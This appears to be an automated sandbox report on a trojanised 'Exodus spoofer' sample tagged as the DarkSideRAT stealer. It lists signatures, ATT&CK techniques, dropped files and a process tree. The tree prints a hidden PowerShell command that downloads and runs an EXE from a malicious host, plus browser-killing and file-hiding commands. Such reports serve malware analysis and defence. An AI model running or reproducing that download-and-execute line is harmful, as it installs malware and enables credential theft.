Overview

overview

10

Static

static

3

ExodusSpoofer.exe

windows10-2004-x64

10

ExodusSpoofer.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    51s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/11/2026, 17:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ExodusSpoofer.exe
  • Size 118.3MB
  • Sample261107-vxmjcazxes
  • SHA256 aa849907d59085f2f5b82a66930724517d911155c0f1d7eae95b23f8f0006fc7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutiondarksideratpersistencepyinstallerspywarestealertrojan

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

    trojandarksiderat
  • Detects DarkSideRAT 1 IoCs
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
    defense_evasion
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
    defense_evasion
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Looks for VMWare drivers on disk 2 TTPs 2 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 6 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 4 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 38 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\ExodusSpoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusSpoofer.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:3792
    • C:\Program Files (x86)\Microsoft\EXODUS FREE SPOOFER.exe
      "C:\Program Files (x86)\Microsoft\EXODUS FREE SPOOFER.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1076
      • \??\c:\program files (x86)\microsoft\exodus free spoofer.exe 
        "c:\program files (x86)\microsoft\exodus free spoofer.exe "
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_6I4ZuA' -OutFile $env:APPDATA\BK945954.exe; Start-Process -FilePath $env:APPDATA\BK945954.exe -WindowStyle Hidden }"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4080
          • C:\Windows\system32\cmd.exe
            cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_6I4ZuA' -OutFile $env:APPDATA\BK945954.exe; Start-Process -FilePath $env:APPDATA\BK945954.exe -WindowStyle Hidden }"
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3240
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_6I4ZuA' -OutFile $env:APPDATA\BK945954.exe; Start-Process -FilePath $env:APPDATA\BK945954.exe -WindowStyle Hidden }"
              6⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Downloads MZ/PE file
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4232
              • C:\Users\Admin\AppData\Roaming\BK945954.exe
                "C:\Users\Admin\AppData\Roaming\BK945954.exe"
                7⤵
                • Executes dropped EXE
                PID:4868
      • C:\Windows\Resources\Themes\icsys.icn.exe
        C:\Windows\Resources\Themes\icsys.icn.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1460
        • \??\c:\windows\resources\themes\explorer.exe
          c:\windows\resources\themes\explorer.exe
          4⤵
          • Modifies visibility of hidden/system files in Explorer
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in System32 directory
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2632
          • \??\c:\windows\resources\spoolsv.exe
            c:\windows\resources\spoolsv.exe SE
            5⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4888
            • \??\c:\windows\resources\svchost.exe
              c:\windows\resources\svchost.exe
              6⤵
              • Modifies visibility of hidden/system files in Explorer
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1828
              • \??\c:\windows\resources\spoolsv.exe
                c:\windows\resources\spoolsv.exe PR
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:220
    • C:\Program Files (x86)\Microsoft\Crash_Helper_.exe
      "C:\Program Files (x86)\Microsoft\Crash_Helper_.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3188
      • \??\c:\program files (x86)\microsoft\crash_helper_.exe 
        "c:\program files (x86)\microsoft\crash_helper_.exe "
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Program Files (x86)\Microsoft\crash_helper_.exe 
          "c:\program files (x86)\microsoft\crash_helper_.exe "
          4⤵
          • Looks for VirtualBox drivers on disk
          • Looks for VMWare drivers on disk
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "ver"
            5⤵
            • Executes a command shell one-liner
            PID:4724
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist"
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3988
            • C:\Windows\system32\tasklist.exe
              tasklist
              6⤵
              • Discovers running processes
              • Suspicious use of AdjustPrivilegeToken
              PID:456
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe /T >nul 2>&1
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2728
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM chrome.exe /T
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2180
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c taskkill /F /IM msedge.exe /T >nul 2>&1
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:372
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM msedge.exe /T
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4176
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c taskkill /F /IM brave.exe /T >nul 2>&1
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3740
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM brave.exe /T
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:820
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c taskkill /F /IM opera.exe /T >nul 2>&1
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2776
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM opera.exe /T
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2036
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:116
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              6⤵
              • Reads the TCP/IP host and domain name from the registry
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:3132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2772
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic computersystem get totalphysicalmemory
              6⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of AdjustPrivilegeToken
              PID:2272
      • C:\Windows\Resources\Themes\icsys.icn.exe
        C:\Windows\Resources\Themes\icsys.icn.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4208
    • C:\Program Files (x86)\Microsoft\Runtime Broker.exe
      "C:\Program Files (x86)\Microsoft\Runtime Broker.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4444
      • \??\c:\program files (x86)\microsoft\runtime broker.exe 
        "c:\program files (x86)\microsoft\runtime broker.exe "
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4856
        • C:\Program Files (x86)\Microsoft\runtime broker.exe 
          "c:\program files (x86)\microsoft\runtime broker.exe "
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4280
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "ver"
            5⤵
            • Executes a command shell one-liner
            PID:4772
          • C:\Windows\SYSTEM32\attrib.exe
            attrib +h "C:\Program Files (x86)\Microsoft\runtime broker.exe "
            5⤵
            • Views/modifies file attributes
            PID:2492
      • C:\Windows\Resources\Themes\icsys.icn.exe
        C:\Windows\Resources\Themes\icsys.icn.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4208
        • \??\c:\windows\resources\themes\explorer.exe
          c:\windows\resources\themes\explorer.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4628

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Defense Evasion

        Hide Artifacts

        2
        T1564

        Hidden Files and Directories

        2
        T1564.001

        Modify Registry

        2
        T1112

        Virtualization/Sandbox Evasion

        2
        T1497

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        3
        T1552

        Credentials In Files

        3
        T1552.001

        Discovery

        Browser Information Discovery

        1
        T1217

        File and Directory Discovery

        2
        T1083

        Process Discovery

        1
        T1057

        Query Registry

        1
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        2
        T1016

        Internet Connection Discovery

        1
        T1016.001

        Virtualization/Sandbox Evasion

        2
        T1497

        Lateral Movement

        Collection

        Data from Local System

        2
        T1005

        Command and Control

        Web Service

        1
        T1102

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Crash_Helper_.exe
        • Path C:\Program Files (x86)\Microsoft\Crash_Helper_.exe
        • Size 22.0MB
        • SHA256 553864da5f26484ddef51c504266b5f457b012e9f3cde2279e878b331a0d8b0a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        EXODUS FREE SPOOFER.exe
        • Path C:\Program Files (x86)\Microsoft\EXODUS FREE SPOOFER.exe
        • Size 43.7MB
        • SHA256 da4058cab7ad1afb043fbb9b8e9248937d5346c193f9b882d47b76e9c6ffe571
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        exodus free spoofer.exe 
        • Path C:\Program Files (x86)\Microsoft\exodus free spoofer.exe 
        • Size 43.6MB
        • SHA256 de63c670402ec56374369db7ccbb808f69a663606ba89b3c256bd3d3a41188b8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\VCRUNTIME140.dll
        • Size 174KB
        • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ctypes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\_ctypes.pyd
        • Size 138KB
        • SHA256 6171e6418edc2be398752ace7baf82e24a8602bb8d53f3e8c1875ddfa32981c1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-console-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-console-l1-1-0.dll
        • Size 22KB
        • SHA256 56a3c8ec50eedef1f5024696ef928cb2a0f5d8b40c8a122cba412944dae81c46
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-datetime-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-datetime-l1-1-0.dll
        • Size 22KB
        • SHA256 e91b155e01b98aa4466b94da39e04c379f2fd392c154e7b6d80c05e0476f0552
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-debug-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-debug-l1-1-0.dll
        • Size 22KB
        • SHA256 2117e4953f5ec36adff21a416db5ff5f9ff27ea5f70b71b2e7d87897979b34e1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-errorhandling-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-errorhandling-l1-1-0.dll
        • Size 22KB
        • SHA256 ce83855b81333be8ca07a70700bff553dfb94869637dfe529bc8ef64094032be
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-fibers-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-fibers-l1-1-0.dll
        • Size 22KB
        • SHA256 5fae6d3fa0df3ac9a0171654062b6518b56bc586ab03d8a05e9cd4a112628934
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-file-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-file-l1-1-0.dll
        • Size 26KB
        • SHA256 be54476a0d4394d8ca6a5943b6425569403a1a7e939cf9b4948319b450022b45
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-file-l1-2-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-file-l1-2-0.dll
        • Size 22KB
        • SHA256 87cd5dac0ad2c7f6d64a51c58bc6fb9f2b207fe4966dcf47dd83728b0e439a75
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-file-l2-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-file-l2-1-0.dll
        • Size 20KB
        • SHA256 f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-handle-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-handle-l1-1-0.dll
        • Size 22KB
        • SHA256 5ae3a6e15f6a47f78b59f8a24334ffc88e8de05664c4c04d6243921ecba16325
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-heap-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-heap-l1-1-0.dll
        • Size 22KB
        • SHA256 5f8dca9ec0204453ad8e31b8f36226fef8342c36d3a07b15bcece301bc7f24cd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-interlocked-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-interlocked-l1-1-0.dll
        • Size 22KB
        • SHA256 bdad0c627f722de797917a9ebbb02acc0669c44326f64ba5fc1f8d6c2d978128
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-libraryloader-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-libraryloader-l1-1-0.dll
        • Size 22KB
        • SHA256 b17a00e4640a1d5a91c1b1ddf0465ba04ffc2ac5404e37d02b56ba7d2fabbced
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-localization-l1-2-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-localization-l1-2-0.dll
        • Size 22KB
        • SHA256 4b5c4d32550d6ec0715c6cf651e9c1bbccb01bffa72e082a0ae04251800d43a1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-memory-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-memory-l1-1-0.dll
        • Size 22KB
        • SHA256 47817a21044295a18907f13cd9f2705f9a21579f80fa6d3f7bf22e00607189fe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-namedpipe-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-namedpipe-l1-1-0.dll
        • Size 22KB
        • SHA256 64896c2ca9b8da6c6c327602000f1f6d95e49e6f8df06929176a319cc2aa985e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-processenvironment-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-processenvironment-l1-1-0.dll
        • Size 22KB
        • SHA256 8df2ab621406d2905a330df3955db715965c2c097061345ad94dafab1b04ef00
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-processthreads-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-processthreads-l1-1-0.dll
        • Size 22KB
        • SHA256 a0299f1564ea8aeeff67226b6d2f9b9802aab877c9b89c82d50377ca2a12dba9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-processthreads-l1-1-1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-processthreads-l1-1-1.dll
        • Size 22KB
        • SHA256 fe33f48a34243481782742168b24f344485527327534f7e05c60ba5420715387
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-profile-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-profile-l1-1-0.dll
        • Size 22KB
        • SHA256 2f506ccb47a0513d16b3dece9ed1a0459b796fdb96e40d8967dc84e7d4e36954
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-rtlsupport-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-rtlsupport-l1-1-0.dll
        • Size 22KB
        • SHA256 4335d1e4051cc16aee5745b1ae9027e1e710f41972faefc57c065f2166209853
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-string-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-string-l1-1-0.dll
        • Size 22KB
        • SHA256 4c8b4993badf3d843f57638b5f82e98769d3c7e0bd524d999ec2c720013a2fdf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-synch-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-synch-l1-1-0.dll
        • Size 22KB
        • SHA256 a7e2c7177f10d6d35ed2cc79ce71eb979ba69a348f19237121ddac7d61103ebe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-synch-l1-2-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-synch-l1-2-0.dll
        • Size 22KB
        • SHA256 6ff6a5b89c6ccc33a8f99fef4abb83b760c3d6e5be20d4805d95720f67b86876
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-sysinfo-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-sysinfo-l1-1-0.dll
        • Size 22KB
        • SHA256 881b7e57388edbf8a167bc7e7714286e9fed54b981479fa540c218aab049a81e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-timezone-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-timezone-l1-1-0.dll
        • Size 22KB
        • SHA256 c886fd30abe580e0bdb29b9e3cb50872159d1c62bcf03355b28850176f1258aa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-core-util-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-core-util-l1-1-0.dll
        • Size 22KB
        • SHA256 26a32ca4e6a5f853a371f1fff7c4b7cd90288f4364921fbd4b11cbff697767a2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-conio-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-conio-l1-1-0.dll
        • Size 22KB
        • SHA256 988e14fa33743956ca182c1ef033c09427d60f2b0132803b8548e28ca0378b7c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-convert-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-convert-l1-1-0.dll
        • Size 26KB
        • SHA256 fa445d728c70db47340907cf12dff8893fd249b738594a1825248211b8ec0dca
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-environment-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-environment-l1-1-0.dll
        • Size 22KB
        • SHA256 e2e562ec0ab4be342962e7e885cba380c3143bcbf83fcaff9269f26b2b448e24
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-filesystem-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-filesystem-l1-1-0.dll
        • Size 22KB
        • SHA256 f4a1f0ad4fde3752cf7dc6f3058e4c502546aad9029c8bd78ae1ee4cbe37922a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-heap-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-heap-l1-1-0.dll
        • Size 22KB
        • SHA256 998294783016c09345cb2dd0f18163fb9bf469edb4954b1408e99f673c60d9f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-locale-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-locale-l1-1-0.dll
        • Size 22KB
        • SHA256 2376c1ef50f84a2b0e49e66c0e4c2b24e0c48a4d85450fc74ce77ff02f58fea5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-math-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-math-l1-1-0.dll
        • Size 30KB
        • SHA256 9e1441afa2e6b3cb88c234fd43755fb2716d7266944239e93a8b3722f44ba792
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-process-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-process-l1-1-0.dll
        • Size 22KB
        • SHA256 df4a913f1708ccc03b9f41f69cf563a9c57bebaba18262fbc377584a2c2bbb9c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-runtime-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-runtime-l1-1-0.dll
        • Size 26KB
        • SHA256 3e95f9a63c2c742c43138b731966d4cfa6c922bdcff3e2958fe24e4bdf6e5461
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-stdio-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-stdio-l1-1-0.dll
        • Size 26KB
        • SHA256 21a5efa2bdf4a89e06b7dad84aa990412e054bac9befd198c05dd6add93b8430
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-string-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-string-l1-1-0.dll
        • Size 26KB
        • SHA256 05a910f254a8eae65c0f032ec7740afacb8439f87a64d53f9b8ebd66304b3b68
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-time-l1-1-0.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-time-l1-1-0.dll
        • Size 22KB
        • SHA256 4a90e5b2f3fb45b6a92581a39d3b62948a588a360d449554d8cae1a40b009114
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        api-ms-win-crt-utility-l1-1-0.dll
